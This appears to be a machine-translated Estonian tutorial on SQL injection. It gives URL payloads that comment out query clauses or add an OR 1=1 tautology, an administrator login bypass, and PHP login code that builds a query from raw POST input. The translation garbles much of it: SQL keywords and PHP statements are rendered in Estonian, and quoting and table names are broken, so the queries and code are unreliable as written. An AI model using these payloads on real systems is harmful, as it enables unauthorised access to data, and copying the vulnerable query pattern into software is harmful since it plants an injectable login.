Kuidas SQL-i süstida

Mis on SQL-i süstimine (SQLi)?

SQL-i süstimine on üks levinumaid veebiründemehhanisme, mida ründajad kasutavad äri- või sotsiaalmeediaplatvormilt kirjete ja tundlike kirjete varastamiseks. Kuigi SQL-i süstimine võib SQL-i andmebaasi kasutava rakenduse teabe kaotada, kasutatakse seda kõige sagedamini veebisaitide ründamiseks. SQL-i sisestamine on koodi sisestamise tehnika, mida häkkerid saavad kasutada pahatahtlike SQL-lausete sisestamiseks sisendpäringutesse, et neid SQL-i aluseks oleva andmebaasi kaudu täita. See meetod on teostatav kaldus veebipakettide ebaõige kodeerimise tõttu. SQL-i sisestamine tõuseb üles, kuna juurdepääs sisendväljadele on kasutajatele kättesaadavaks tehtud, et sisestada kõik halvad SQL-lausete tüübid, et need läbida ja sisestada päringuid otse andmebaasi.

Erinevat tüüpi süstid

  • Muutke SQL-päringut ja hankige andmebaasist lisateavet, seda võib öelda tabelitest peidetud andmete hankimine.
  • Häirige äriloogikat ja muutke päringut rakenduse loogika muutmiseks.
  • Hankige andmeid andmebaasi erinevatest tabelitest ja ründage neid. Seda nimetatakse UNION-i rünnakuteks.
  • Andmebaasi uurimine, millest saate välja võtta ligikaudse teabe andmebaasi versiooni ja struktuuri kohta.

Hangi varjatud andmed

Sisestame selle URL-i oma brauserisse ja hankime tabelist boonuste kategooriad:

https://insecure-website.com/products?category=Bonus

See paneb rakenduse esitama SQL-küsimuse, et hankida andmebaasist teave asjakohase kauba kohta järgmiselt:

SELECT * FROM kaup KUS kategooria = 'boonus' JA vabastatud = 1

See SQL-päring palub andmebaasil tagastada:

  • kogu teave (*)
  • Toodete laualt
  • Kui kategooria on boonus
  • Ja vabastatakse on 1

Tarkvara ei rakenda SQL-i süstimise rünnakute vastu kaitset, nii et ründaja saab koostada rünnaku, näiteks:

https://insecure-website.com/products?category=Bonus’ – –

Ülaltoodud päringu tulemus on:

SELECT * FROM toodetest WHERE kategooria = 'Boonus' – 'JA välja antud = 1

Võtmekomponent siin on see, et topeltkriipsuga seeria on SQL-is märkuste indikaator ja tähendab, et ülejäänud küsimust tõlgendatakse kommentaarina. See eemaldab edukalt ülejäänud päringu, nii et see ei sisalda enam AND käivitatud = 1. Nii kuvatakse kõik tooted, näiteks avaldamata tooted.

Teine SQL-i sisestamise meetod:

https://insecure-website.com/products?category=Bonus’+OR+1=1–

Tulemus:

SELECT * FROM toodetest WHERE kategooria = 'Bonus' VÕI 1 = 1 - 'JA välja antud = 1

Ülaltoodud päringu abil saate andmebaasi hõlpsalt rünnata.

Muutke rakenduse loogikat

Minge sisselogimiskontost mööda, kasutades allolevat päringut:

SELECT * FROM kasutajad KUS kasutajanimi = 'John' JA parool = 'Johnwilliam'

Ründaja logi kasutajanimega ilma paroolita, SQL-päringus kasutage – – topeltkriipsuga parooli ja kommenteerige seda klauslisse kus. Näiteks saatke päring kasutajanime administraatorile ja tühjendage parooliväli. Päring on:

SELECT * FROM users WHERE kasutajanimi = ‘administraator’ – – ‘ JA parool =

Need on ka palju SQL-i süstimise meetodeid.

Kuidas SQL-i sisestada sisselogimislehel

Allpool on toodud lihtne PHP-kood SQL-i sisestamiseks sisselogimislehel:

$uname = $_POST [ ' uname ' ] ;

$passwrd = $_POST [' passwrd ' ] ;

$query = ' vali kasutajanimi, kasutajanimi, kus kasutajanimi = ' $uname ' ja parool = ' $passwrd

$tulemus = mysql_query ( $päring ) ;

$read = mysql_fetch_array ( $tulemus ) ;

Kui ( $rows )

{

echo ‘ Oled edukalt sisse loginud’ ;
loo_seanss( );

}

else {

kaja ' Paremat õnne järgmisel korral ' ;
}